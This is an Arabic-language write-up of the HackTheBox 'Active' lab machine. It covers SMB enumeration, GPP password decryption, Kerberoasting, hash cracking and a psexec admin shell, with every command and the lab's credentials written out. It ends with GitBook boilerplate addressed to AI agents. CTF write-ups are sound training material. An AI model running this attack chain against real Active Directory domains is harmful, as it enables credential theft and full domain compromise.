> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # شرح Active HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات**: * استكشاف SMB * كسر حماية ملف ZIP المحمي بكلمة مرور (fcrackzip) * كسر وقراءة ملف .PFX (crackpkcs12) * الحصول على وصول SSL باستخدام Evil-WinRM * تسريب معلومات - قراءة سجل Powershell الخاص بالمستخدم (الانتقال عبر المستخدم) * استغلال LAPS للحصول على كلمات المرور (Get-LAPSPasswords.ps1) (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **الاستكشاف والاستغلال:** ### **استكشاف SMB:** استخدم crackmapexec لسرد الأنظمة والعثور على اسم النطاق. ```bash crackmapexec smb 10.10.10.100 ```

#### **ضبط الوقت باستخدام NTP:** اضبط وقت الجهاز الهدف لتجنب المشكلات ```bash ntpdate 10.10.10.100 ```

#### التهيئة /etc/hosts: تمت إضافة متحكم النطاق إلى ملف hosts للسماح بالـ ping:

### **سرد الموارد المشتركة** استخدم smbclient أو smbmap لاستكشاف الموارد المشتركة على الشبكة. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **البحث عن ملفات محددة**: استكشف الأدلة بحثًا عن ملفات ذات صلة ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

الـ `groups.xml` تم تحديد ملف قد يحتوي على معلومات سرية. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **فك تشفير كلمة المرور:** استخدم `gpp-decrypt` لفك تشفير كلمات المرور المخزنة. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **التحقق من المعرّف:** استخدم crackmapexec للتحقق مما إذا كانت المعرفات صالحة ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **استكشاف الأذونات:** استخدم crackmapexec و smbmap لاستكشاف الأذونات على المشاركات الشبكية. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### تم الحصول على علم user.txt: ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **تسجيل الدخول إلى متحكم النطاق:** استخدام rpcclient للاتصال بمتحكم النطاق واستكشاف المستخدمين والمجموعات: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - لتحديد أعضاء مجموعة المسؤولين: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - للحصول على المستخدمين في مجموعة محددة: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - لسرد أوصاف جميع المستخدمين: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## ثغرة [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): تم استغلال ثغرة Kerberoast بنجاح من خلال الأمر التالي: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` يستعيد هذا الأمر تذكرة خدمة TGS الخاصة بـ Grant-Ticketing Service التي تستغل الثغرة. ثم، للحصول على هاش المسؤول، تتم إضافة المعلمة -request إلى الأمر: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **الاستغلال النهائي:** ### **كسر التجزئة:** استخدم John لمحاولة كسر الهاشات التي تم الحصول عليها. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **التحقق من المعرّف:** استخدم crackmapexec للتحقق من بيانات الاعتماد التي تم الحصول عليها ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **تنفيذ Psexec:** استخدم psexec.py للحصول على shell تفاعلية بصلاحيات المسؤول. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **تم الحصول على العلم النهائي:** تم الحصول على العلم النهائي بنجاح بعد اكتساب وصول المسؤول.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.